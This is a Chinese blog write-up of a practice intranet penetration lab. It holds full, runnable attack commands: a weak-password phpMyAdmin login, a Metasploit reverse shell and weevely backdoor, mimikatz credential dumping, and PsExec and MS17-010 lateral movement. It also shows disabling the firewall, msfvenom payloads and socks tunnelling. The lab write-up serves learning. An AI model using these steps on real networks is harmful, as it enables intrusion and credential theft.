最近發現了一個內網的靶場網站,簡單配置一下網絡就可以,不用自己搭建這么麻煩漏洞信息 (qiyuanxuetang.net)
環境配置
內網1靶場由三台機器構成:WIN7、2008 server、2003 server
其中WIN7做為對外的web機,2008作為域控
WIN7添加一個網卡,一個設為僅主機,一個設為NET
2003、2008 設為僅主機
初始密碼hongrisec@2019
信息收集
深入探測
80端口和3306端口 ,查看80端口
一個phpstudy的探針界面,一般來說后台登陸界面就是phpmyadmin,掃了之后果然
直接弱口令root root嘗試登陸,直接登陸上了后台
注意到里面有個叫newxycms的數據庫,說明肯定還有其他網站,嘗試了yx,newyxcms,yxcms得到子域名yxcms
一個小提示
進入后台之后,注意到了一個上傳文件管理,但是我沒有找到上傳文件的地方
然后看到了前台模板這邊,發現可以更改php文件,將原來的php文件里的東西都刪了,寫入msf生成的木馬,或者創建一個新的php代碼寫入msf代碼(真實情況下還是創建好,后期清理痕跡的時候方便)
但是改了之后發現一個問題,不知道這個文件的路徑是什么,查了wp發現原來掃描的時候掃出來了一個rar網站備份文件,后來我換了一個字典掃也掃出來了,看來以后掃描信息泄露啥的還得換字典多掃幾次。
得到了備份文件,知道了文件的絕對路徑,那就可以連接木馬getshell了
GetShell
剛剛寫入了msf的木馬,使用msf連接木馬
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lHOST 192.168.200.6
run
訪問文件路徑
但是這個shell效果不太好,輸入了shell之后就卡住了然后自動斷開了連接
然后查看了一下網上的,都是用蟻劍連接,沒有人用msf,然后我就試了試weevely生成后門,然后寫上去后連接
weevely generate test test.php //生成后門
weevely http://192.168.200.27/yxcms/protected/apps/default/view/default/door.php test //連接
然后使用cs連接weevely生成的shell
然后再使用cs反彈shell給msf Cobalt Strike - 1_Ry - 博客園 (cnblogs.com)
getsystem提權
進程遷移,將shell遷移到穩定的進程中
內網信息收集
GOD域
輸入shell進入系統,ipconfig查看網絡,發現內網的ip,可以探測網段確定內網主機ip
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
共三台主機,其中143是已經被拿下的win7
由於msf收集到很多信息是亂碼,后續我用cs繼續進行收集
在信息收集的時候會顯示RPC錯誤,是DNS解析問題,解決方法在win7 hosts文件添加owa.god.org
確定域主機名,這里應該還有一個叫STU1的本機名,不知道為什么沒顯示出來
確定域控名
確定主機名對應的ip地址(第二個ip地址是錯的,但是排除法可以得到IP地址)
查看用戶
拿到用戶和ip地址之后,嘗試抓取密碼
這里可以通過msf中的mimikatz或者cs中的mimikatz抓取密碼,比較幸運直接抓取到了明文密碼
域內橫向移動
接下來參考我之前學習的域橫向知識,可以先建立ipc$連接,然后上傳后門運行,也可以使用pstoos工具包中的PsExec。第一次進行域橫向的實戰,就每種方法都試一試
ipc連接
建立ipc連接
net use \\192.168.52.138\ipc$ "Admin111" /user:Administrator
net use 查看連接
使用cs生成一個windows后門,接着將后門上傳至win7
接着通過win7將后門文件上傳至域控主機上
shell copy c:\1.exe \\192.168.52.138\c$
確定目標主機時間
使用at或者schtasks創建定時任務運行后門
at \\192.168.52.138 11:49 C:\1.exe
schtasks /create /s 192.168.52.138 /tn test /sc once /st 11:49 /tr C:\1.exe /ru system /f
這里糊塗了,突然發現內網的機器不能直接連上攻擊機,需要通過win7作為跳板
PsExec
pstools工具包中的psexec
msf上傳
upload /root/PSTools/PsExec.exe C:/psexec.exe
PsExec.exe -accepteula -s \\192.168.52.138 cmd.exe
但是這樣還是無法連接遠程主機,可能因為還是因為攻擊機是外網,后來想到一個辦法,創建一個.bat文件,上傳到win7,再運行試試看,但還是不行
路由,端口轉發
獲取目標機內網地址網段
run get_local_subnets
通過background
回到msf
,使用route
增加對應路由,4是sessions值
route add 192.168.52.0 255.255.255.0 4
查看是否設置成功
這樣msf就能掃描到內網的主機了
回到meterpreter會話,掃描52網段
run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24
能掃出來
試一試msf的psexec模塊,直接獲取system
use exploit/windows/smb/psexec set payload windows/x64/meterpreter/bind_tcp set rhost 192.168.52.138 set SMBUser administrator set SMBPass Admin111 run
再試試ms17_010_psexec無法攻擊成功
use windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
run
網上查了資料發現原來是防火牆的原因,看來這個方法暫時用不了
端口轉發
端口轉發可以讓攻擊機訪問本來無法直接訪問的目標主機。portfwd可以反彈單個端口到本地並且監聽。
在meterpreter會話輸入
portfwd add -l 9999 -r 192.168.200.27 -p 3389
-l 本地監聽端口
-r 遠程地址
-p 遠程端口
3389圖形操作
在meterpreter會話開啟3389端口
run getgui -e
run post/windows/manage/enable_rdp
遠程桌面連接
rdesktop 192.168.200.27:3389
這里應該要創建一個新的用戶,不然直接登陸的話會擠掉別人的賬戶
既然獲取了域控的shell,這里直接執行剛剛不能成功的方法,直接獲取到域控system權限,這里的話就可以直接使用命令關閉防火牆,然后再使用剛剛的msf中的ms17_010_psexec,獲取域控權限
netsh advfirewall set allprofiles state off
接下來換一種方法嘗試反彈shell到kali
powercat
首先上傳powercat
copy c:\powercat.ps1 \\192.168.52.138\c$
導入powercat需要設置執行策略
但是又失敗了,只要運行powershell那個域控的shell就會卡死,根本沒法反彈
lcx
只能試一下lcx端口轉發,但是lcx我也是第一次用
將lcx上傳到win7上
重新制作一個木馬,ip設置為win7的ip
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.143 LPORT=11111 -f exe > shell.exe
上傳到域控,開啟監聽,在win7運行lcx,將win7監聽的端口轉發到kali
lcx -slave 192.168.200.6 4555 192.168.52.143 11111
運行木馬,也不行,可能是我用法不太對,害
socks代理
只能試試最后一種方法了socks代理
我用了兩種工具一個是earthworm,還有一個是ProxyChains
首先將EW上傳到win7上
在攻擊機運行
./ew_for_linux64 -s rcsocks -l 1080 -e 4444
這條命令的意思是在公網VPS上添加一個轉接隧道,把1080端口收到的代理請求轉發給4444端口
然后在win7運行
ew_for_Win.exe -s rssocks -d 192.168.200.6 -e 4444
這條命令的意思是在本機服務器上啟動SOCKS5服務,然后反彈到192.168.200.6攻擊機的4444端口
運行完后會顯示連接OK,現在就可以通過訪問攻擊機的1080端口,使用win7的服務器上SOCKS5代理服務了
接下來便可以打開第二台內網機器的遠程桌面了,這里使用proxychains添加代理(KALI中自帶)
輸入打開proxychains進行編輯
vi /etc/proxychains4.conf
首先將dynamic_chain前面的注釋符#刪除
然后在底部改成內容 socks5 127.0.0.1 1080(圖片打錯了)
保存並退出,執行proxychains firefox,打開火狐,然后訪問192.168.52.138(內網的網站),來看看是不是成功了
可以看到訪問成功了!並且可以看到數據在不停的交互
但是我又遇到了挫折,本來打算使用msf后門上傳到域控主機,反彈shell到KALI,因為現在KALI已經可以連接到內網了,按理說應該也可以連接后門,但是上傳了后門之后,發現怎么也連接不上,后來去洗澡的時候終於想通了,平時我使用的msf后門都是反向連接kali,而域控主機根本連接不到外網,所以沒辦法連接kali。(想到這里之后我才發現前面的代理什么的都是白費功夫,只要msf路由轉發了之后就行了,但是也學到了內網代理的大概使用)所以現在使用msf的正向后門來連接域控主機
創建一個正向后門,上傳到域控
msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe
msf使用監聽模塊
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 4444
run
終於成功了!那這樣的話一開始我嘗試使用的后門也可以使用這個正向后門,閉合了。
cs中的psexec
cs因為有圖形化界面操作比較簡單
首先進行網段的掃描,確定存活主機
這里需要建立SMB監聽(因為192.168.52.0/24段不能直接連接到192.168.200.6(kali地址),所以需要CS派生smb beacon。讓內網的主機連接到win7上。)
之前已經使用mimikatz獲取了密碼,所以本地有保存,選擇SMB監聽器,選擇會話
成功上線
接下來拿域控也是同樣的方法
總結
這個內網靶機難度較低,滲透win7很容易,主要是內網部分,雖然說也不是很難,明文密碼都能直接獲取,但是第一次實戰內網,還是遇到了許多困難,思路有點亂,內網信息收集的時候會不知道收集什么,需要反復查閱筆記,收集完信息之后也不知道怎么域橫向了,也是查看筆記才想起來,但也算很多種域橫向的方法都試了一遍,還是需要多多實戰。還有上傳后門的時候把目標主機搞得一團糟,這就造成了后期清理痕跡帶來了很大的工作量,而且在實戰環境下也更加容易被發現。但還是收獲了很多。
寫的有點亂,因為我的思路也不是很清晰,讓大佬見笑了